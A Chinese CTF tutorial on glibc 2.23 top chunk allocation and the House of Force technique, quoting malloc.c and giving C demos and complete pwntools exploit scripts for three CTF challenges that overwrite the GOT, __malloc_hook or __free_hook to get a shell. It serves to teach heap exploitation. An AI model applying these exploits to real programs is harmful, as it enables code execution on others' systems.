了解 Top chunk 这是top chunk分配的源码(glibc2.23 malloc.c 3790行左右):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 victim = av->top; size = chunksize (victim); if ((unsigned long ) (size) >= (unsigned long ) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); av->top = remainder; set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 )); set_head (remainder, remainder_size | PREV_INUSE); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; }
从glibc里的malloc源代码里也可以看到top chunk的切割过程,在bins里没有合适chunk的情况下,如果top chunk的size大于请求的size + MINSIZE,就可以从top chunk里进行切割。
如果top chunk不够分割,则调用sysmalloc进行内存分配,如下:
1 2 3 4 5 6 7 else { void *p = sysmalloc (nb, av); if (p != NULL ) alloc_perturb (p, bytes); return p; }
跟进sysmalloc()
首先,它会检测申请的内存是否大于mmap的分配阈值,如果大于则用mmap进行分配
1 2 3 4 5 6 7 8 if (av == NULL || ((unsigned long ) (nb) >= (unsigned long ) (mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))) { char *mm; try_mmap:
否则扩充 top chunk 以便从中切割
1 2 3 4 5 6 7 8 9 10 11 12 13 14 old_heap = heap_for_ptr (old_top); old_heap_size = old_heap->size; if ((long ) (MINSIZE + nb - old_size) > 0 && grow_heap (old_heap, MINSIZE + nb - old_size) == 0 ) { av->system_mem += old_heap->size - old_heap_size; arena_mem += old_heap->size - old_heap_size; set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) | PREV_INUSE); } else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) {
如果不满足top chunk扩充的条件的话,old_top_chunk会被free掉,向系统批发新的top_chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) { heap->ar_ptr = av; heap->prev = old_heap; av->system_mem += heap->size; arena_mem += heap->size; top (av) = chunk_at_offset (heap, sizeof (*heap)); set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE); if (old_size >= MINSIZE) { set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE); set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ)); set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); _int_free (av, old_top, 1 ); } else
从源码分析top chunk attack 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #libc-2.23中malloc源码第3793-3809行 victim = av->top; size = chunksize (victim); if ((unsigned long ) (size) >= (unsigned long ) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); av->top = remainder; ------------------------------------------------------------------------------- chunk_at_offset (victim, nb)的宏定义(代码第1312 -1313 行) #define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s))) ------------------------------------------------------------------------------- set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 )); set_head (remainder, remainder_size | PREV_INUSE); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; }
这是_int_malloc()源码中调用top chunk的部分,注意到if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
在进行比较时用的是unsigned long。如果程序存存在溢出等漏洞可以将top chunk的size修改,就可以得到漏洞利用。例如将size修改为-1(0xffffffffffffffff),那么这将使得从top chunk地址开始后所有的内存都被包含在了top chunk里,可以被自由切割。
而且呢top chunk的位置移动仅进行了地址的位移(即地址的加减运算)
demo 向前控制内存demo1 1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> int main () { long *ptr,*ptr2; ptr=malloc (0x10 ); ptr=(long *)(((long )ptr)+24 ); *ptr=-1 ; malloc (-4120 ); malloc (0x10 ); return 0 ; }
在执行过第7行后,top_chunk的size被修改,如下:
1 2 3 4 5 pwndbg> x/24gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0xffffffffffffffff <== top_chunk size = -1 0x602030: 0x0000000000000000 0x0000000000000000
执行过malloc(-4120),为什么时-4120?
1 2 3 4 5 6 7 8 9 10 11 pwndbg> got Filtering out read-only entries (display them with -r or --show-readonly) State of the GOT of /home/ctf/pwn/demo1: GOT protection: Partial RELRO | Found 2 GOT entries passing the filter [0x601018] __libc_start_main@GLIBC_2.2.5 -> 0x7ffff7a2d750 (__libc_start_main) ◂— push r14 [0x601020] malloc@GLIBC_2.2.5 -> 0x7ffff7a91180 (malloc) ◂— push rbp pwndbg> distance 0x602020 0x601010 0x602020->0x601010 is -0x1010 bytes (-0x202 words) pwndbg> p -0x1010 $1 = -4112
首先,我们需要明确要写入的目的地址,这里我编译程序后,0x601020 是 malloc@got.plt
的地址。
所以我们应该将 top chunk 指向 0x601010 处,这样当下次再分配 chunk 时,就可以分配到 malloc@got.plt
处的内存了。
之后明确当前 top chunk 的地址,根据前面描述,top chunk 位于 0x602020,所以我们可以计算偏移 -4112
此外,用户申请的内存大小,一旦进入申请内存的函数中就变成了无符号整数 。
1 void *__libc_malloc(size_t bytes) {
如果想要用户输入的大小经过内部的 checked_request2size
可以得到这样的大小,即
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #define REQUEST_OUT_OF_RANGE(req) \ ((unsigned long) (req) >= (unsigned long) (INTERNAL_SIZE_T)(-2 * MINSIZE)) #define request2size(req) \ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \ ? MINSIZE \ : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) #define checked_request2size(req, sz) \ if (REQUEST_OUT_OF_RANGE(req)) { \ __set_errno(ENOMEM); \ return 0; \ } \ (sz) = request2size(req);
一方面,我们需要绕过 REQUEST_OUT_OF_RANGE(req) 这个检测,即我们传给 malloc 的值在负数范围内,不得大于 -2 * MINSIZE,这个一般情况下都是可以满足的。
另一方面,在满足对应的约束后,我们需要使得 request2size
正好转换为对应的大小,也就是说,我们需要使得 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK 恰好为 - 4112。首先,很显然,-4112 是 chunk 对齐的,那么我们只需要将其分别减去 SIZE_SZ,MALLOC_ALIGN_MASK 就可以得到对应的需要申请的值。其实我们这里只需要减 SIZE_SZ 就可以了,因为多减的 MALLOC_ALIGN_MASK 最后还会被对齐掉。而如果 -4112 不是 MALLOC_ALIGN 的时候,我们就需要多减一些了。当然,我们最好使得分配之后得到的 chunk 也是对齐的,因为在释放一个 chunk 的时候,会进行对齐检查。
因此,我们当调用malloc(-4120)
之后,我们可以观察到 top chunk 被抬高到我们想要的位置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pwndbg> p main_arena $2 = { mutex = 0, flags = 1, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x601010, last_remainder = 0x0, ...... pwndbg> top_chunk PREV_INUSE Addr: 0x601010 Size: 0x1009 pwndbg> x/24gx 0x601010 0x601010: 0x00007ffff7deef10 0x0000000000001009 <== top_chunk 0x601020 <malloc@got.plt>: 0x00007ffff7a91180 0x0000000000000000 0x601030: 0x0000000000000000 0x0000000000000000 0x601040: 0x0000000000000000 0x0000000000000000
这个0x1009 可以按源码算出来: (-1) - ((-4120) + 0x10) = 0x1009
remainder_size = size - nb; size = -1; nb = (unsigned long)(requst_size) + (pre_size + size); 其中-1和-4120被转化为unsigned long
之后,我们分配的块就会出现在 0x601010+0x10 的位置,也就是 0x601020 可以更改 got 表中的内容了。
但是需要注意的是,在被抬高的同时,malloc@got 附近的内容也会被修改。
1 2 set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 ));
执行过malloc(0x10),如下:
1 2 3 4 5 6 pwndbg> x/24gx 0x601000 0x601000: 0x0000000000600e28 0x00007ffff7ffe168 0x601010: 0x00007ffff7deef10 0x0000000000000021 <== malloc(0x10)得到的 0x601020 <malloc@got.plt>: 0x00007ffff7a91180 0x0000000000000000 0x601030: 0x0000000000000000 0x0000000000000fe9 <== top_chunk 0x601040: 0x0000000000000000 0x0000000000000000
向后控制内存demo2 在上一个示例中,我们演示了如何修改 top_chunk
使得 top_chunk
指针减小来修改其上面(低地址)的 got
表中的内容。同样,利用这种方式可以修改其下面(高地址)的内容。这次同样的利用代码进行演示:
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> int main () { long *ptr,*ptr2; ptr=malloc (0x10 ); ptr=(long *)(((long )ptr)+24 ); *ptr=-1 ; malloc (140737345551056 ); malloc (0x10 ); return 0 ; }
我们可以看到程序代码与简单示例 1 基本相同,除了第二次 malloc 的 size 有所不同。 这次我们的目标是 malloc_hook,我们知道 malloc_hook 是位于 libc.so 里的全局变量值,首先查看内存布局:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA Start End Perm Size Offset File 0x400000 0x401000 r-xp 1000 0 /home/ctf/pwn/demo2 0x600000 0x601000 r--p 1000 0 /home/ctf/pwn/demo2 0x601000 0x602000 rw-p 1000 1000 /home/ctf/pwn/demo2 0x602000 0x623000 rw-p 21000 0 [heap] 0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0 [anon_7ffff7dd3] 0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7fec000 0x7ffff7fef000 rw-p 3000 0 [anon_7ffff7fec] 0x7ffff7ff6000 0x7ffff7ffa000 r--p 4000 0 [vvar] 0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso] 0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe] 0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
可以看到 heap 的基址在 0x602000,而 libc 的基址在 0x7ffff7a0d000,因此我们需要通过 HOF 扩大 top chunk 指针的值来实现对 malloc_hook 的写。 首先,由调试得知 __malloc_hook 的地址位于 0x7ffff7dd1b10 ,采取计算
0x7ffff7dd1b00-0x602020-0x10=140737345551056
经过这次 malloc 之后,我们可以观察到 top chunk 的地址被抬高到了 0x00007ffff7dd1b00
执行过malloc(140737345551056);
通过 p main_arena
或top_chunk
等来查看top_chunk的位置,如下:
1 2 3 4 5 6 7 8 9 pwndbg> top_chunk PREV_INUSE Addr: 0x7ffff7dd1b10 Size: 0xffff800008830509 pwndbg> x/24gx 0x7ffff7dd1b10 0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0xffff800008830509 0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
之后,我们只要再次分配就可以控制 0x7ffff7dd1b10 处的 __malloc_hook 值了
1 2 3 4 rax = 0x00007ffff7dd1b10 0x400562 <main+60> mov edi, 0x10 0x400567 <main+65> call 0x400410 <malloc@plt>
小总结 在这一节中讲解了 House Of Force 的原理并且给出了两个利用的简单示例,通过观察这两个简单示例我们会发现其实 HOF 的利用要求还是相当苛刻的。
首先,需要存在漏洞使得用户能够控制 top chunk 的 size 域。
其次,需要用户能自由控制 malloc 的分配大小
第三,分配的次数不能受限制
其实这三点中第二点往往是最难办的,CTF 题目中往往会给用户分配堆块的大小限制最小和最大值使得不能通过 HOF 的方法进行利用。
公式为: malloc(size)
中的 size=new_top_chunk_addr-old_top_chunk_addr-0x10
new_top_chunk_addr
为要转移 top_chunk
的目标地址。
old_top_chunk_addr
为已经被篡改的 top_chunk
地址。
new_top_chunk_addr = target_addr - 0x10
top chunk attack的利用 house of force 利用溢出等漏洞,将top chunk的size修改为-1,转换为无符号数就是最大值,然后通过malloc(offset),即可将top chunk转移到目标地址,比如malloc_hook等,然后,再次malloc,就可控制目标地址处的数据(此图中的addr1已是old_top_chunk_addr - 0x10)。
不仅可以malloc正数,还可以malloc(负数)使得top chunk上移到程序里的got表等。
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char buf[0x100 ] = {0 };int main () { char *p1 = malloc (0x10 ); char *top_chunk_addr = p1 + 0x10 ; *(size_t *)(top_chunk_addr + 0x8 ) = -1 ; size_t offset = buf - p1 - 0x30 ; malloc (offset); char *p2 = malloc (0x50 ); strcpy (p2,"hello,welcome to pwn\n" ); write(1 ,buf,strlen (buf)); return 0 ; }
无free得到unsortedbin 前面,我们分析到,如果想要的size大于top chunk的size,并且size在mmap阈值之下,那么就会申请新的top chunk,将旧的top chunk给free掉,我们可以利用这个free来得到unsorted bin。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 old_top = av->top; old_size = chunksize (old_top); old_end = (char *) (chunk_at_offset (old_top, old_size)); brk = snd_brk = (char *) (MORECORE_FAILURE); assert ((old_top == initial_top (av) && old_size == 0 ) || ((unsigned long ) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long ) old_end & (pagesize - 1 )) == 0 )); assert ((unsigned long ) (old_size) < (unsigned long ) (nb + MINSIZE));
Top chunk的size不是随便改变某个值,想要验证检查,其中这里是页对齐检查,也就是说top_chunk_addr + size的值低12bit为0。
系统分配时的top chunk一般是页对齐的,一般情况下在改size时只需要将高位置零,低位不变即可。
poc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char buf[0x100 ] = {0 };int main () { char *p1 = malloc (0x10 ); char *top_chunk_addr = p1 + 0x10 ; *(size_t *)(top_chunk_addr + 0x8 ) = 0xFE1 ; malloc (0x1000 ); read(0 ,buf,0x100 ); return 0 ; }
例题 hitcon lab11 越看越熟悉,这不是我学习unlink时的例题吗 ^_^
house_of_force思路:
溢出改top_chunk为 -1
house_of_force 将 top_chunk 迁移至hello_message()和goodbye_messgae()所在的结构体
将这goodbye_message()函数改为magic()函数,即可拿flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *import timecontext.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='amd64' , os='linux' ) file_name = './pwn' if args['G' ]: p = remote('' , ) else : p = process(file_name) elf = ELF(file_name) libc = elf.libc s = lambda data :p.send(data) sa = lambda delim, data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim, data :p.sendlineafter(delim, data) r = lambda num=4096 :p.recv(num) rl = lambda :p.recvline() ru = lambda delims :p.recvuntil(delims) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 , b'\\x00' )) uu64 = lambda data :u64(data.ljust(8 , b'\\x00' )) leak = lambda name, addr :log.success('{} = {:#x}' .format (name, addr)) def add (length,name ): ru(b'Your choice:' ) sl(b'2' ) ru(b'Please enter the length of item name:' ) sl(str (length)) ru(b'Please enter the name of item:' ) sl(name) def delete (idx ): ru(b'Your choice:' ) sl(b'4' ) ru(b':' ) sl(str (idx)) def edit (idx,length,name ): ru(b'Your choice:' ) sl(b'3' ) ru(b':' ) sl(str (idx)) ru(b':' ) sl(str (length)) ru(b':' ) sl(name) def show (): ru(b':' ) sl(b'1' ) magic = 0x400d49 add(0x40 ,b'a' *8 ) payload = b'\x00' *0x48 + p64(0xffffffffffffffff ) edit(0 ,len (payload),payload) add(-0x80 ,b'a' ) add(0x10 ,p64(magic)*2 ) ru(b'Your choice:' ) sl(b'5' ) itr()
ubuntu16.04,glibc2.23
结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [DEBUG] Sent 0x2 bytes: b'5\n' [*] Switching to interactive mode invaild choice!!! ---------------------------- Bamboobox Menu ---------------------------- 1.show the items in the box 2.add a new item 3.change the item in the box 4.remove the item in the box 5.exit ---------------------------- Your choice:[*] Process './pwn' stopped with exit code 0 (pid 1162) [DEBUG] Received 0x15 bytes: b'flah{house_of_force}\n' flah{house_of_force} [*] Got EOF while reading in interactive $
force i春秋新春战疫之force
漏洞点:
只有add()函数有用
malloc(input),这个input无检查,可负可非常大
read()中有溢出,可在add()时就溢出
思路(house_of_force):
利用mmap的阈值分配机制得到libc_base
house_of_force 改 top_chunk 大小 -1,分配到堆块可以改 realloc_hook 和 malloc_hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import *import timecontext.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='amd64' , os='linux' ) file_name = './force' if args['G' ]: p = remote('' , ) else : p = process(file_name) elf = ELF(file_name) libc = elf.libc gdb.attach(p) s = lambda data :p.send(data) sa = lambda delim, data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim, data :p.sendlineafter(delim, data) r = lambda num=4096 :p.recv(num) rl = lambda :p.recvline() ru = lambda delims :p.recvuntil(delims) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 , b'\x00' )) uu64 = lambda data :u64(data.ljust(8 , b'\x00' )) leak = lambda name, addr :log.success('{} = {:#x}' .format (name, addr)) def add (size,content ): sla(b'2:puts' ,b'1' ) sla(b'size' ,str (size)) ru(b'bin addr ' ) data = int (ru('\n' ),16 ) sla(b'content' ,content) return data libc_base = add(0x200000 ,b'aaaa' ) + 0x200ff0 leak('libc_base' ,libc_base) gadget = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] one = libc_base + gadget[0 ] realloc_hook = libc_base + libc.sym['__realloc_hook' ] malloc_hook = libc_base + libc.sym['__malloc_hook' ] heap = add(0x10 ,b'\x00' *0x18 + p64(0xffffffffffffffff )) leak('heap' ,heap) top_chunk = heap + 0x10 leak('one' ,one) leak('realloc_hook' ,realloc_hook) leak('malloc_hook' ,malloc_hook) offset = malloc_hook - 0x20 - top_chunk - 0x10 add(offset,b'a' ) payload = p64(0 ) + p64(one) + p64(realloc_hook+4 ) add(0x10 ,payload) sla(b'2:puts' ,b'1' ) sla(b'size' ,b'1' ) itr()
ACTF_2019_ACTFNOTE 检查保护 1 2 3 4 5 6 7 pwndbg> checksec [*] '/home/ctf/pwn/ACTF_2019_ACTFNOTE' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
静态分析 相关结构体:
edit()函数中存在溢出漏洞:
free和show中无漏洞
add()函数如下:
利用思路:
通过溢出漏洞改top_chunk的size,为 -1
top_chunk上移至存放指针的结构体,修改结构体中content的指针,实现任意地址读写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import *import timecontext.terminal = ['tmux' , 'splitw' , '-h' ] context(log_level='debug' , arch='amd64' , os='linux' ) file_name = './ACTF_2019_ACTFNOTE' if args['G' ]: p = remote('' , ) else : p = process(file_name) elf = ELF(file_name) libc = elf.libc gdb.attach(p) s = lambda data :p.send(data) sa = lambda delim, data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim, data :p.sendlineafter(delim, data) r = lambda num=4096 :p.recv(num) rl = lambda :p.recvline() ru = lambda delims :p.recvuntil(delims) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 , b'\x00' )) uu64 = lambda data :u64(data.ljust(8 , b'\x00' )) leak = lambda name, addr :log.success('{} = {:#x}' .format (name, addr)) menu = b'/$ ' def add (size,name,content ): sla(menu,b'1' ) sla(b'please input note name size: ' ,str (size)) sa(b'please input note name: ' ,name) sa(b'please input note content: ' ,content) def edit (id ,content ): sla(menu,b'2' ) sla(b'input note id: ' ,str (id ).encode()) sa(b'please input new note content: ' ,content) def delete (id ): sla(menu,b'3' ) sla(b'input note id: ' ,str (id )) def show (id ): sla(menu,b'4' ) sla(b'input note id: ' ,str (id )) add(0x10 ,b'/bin/sh\x00' ,b'd' *0x17 +b's' ) add(0x10 ,b'aaaa\n' ,b'/bin/sh\x00' ) show(0 ) ru(b'ds' ) libc_base = uu64(r(6 )) - 0x7b61e system = libc_base + libc.sym['system' ] free_hook = libc_base + libc.sym['__free_hook' ] leak('libc_base' ,libc_base) leak('free_hook' ,free_hook) leak('system' ,system) add(0x10 ,b'a\n' ,b'b\n' ) edit(2 ,b'\x00' *0x18 + b'\xff' *8 ) add(-0x80 ,p64(free_hook),b'' ) edit(2 ,p64(system)) delete(1 ) itr()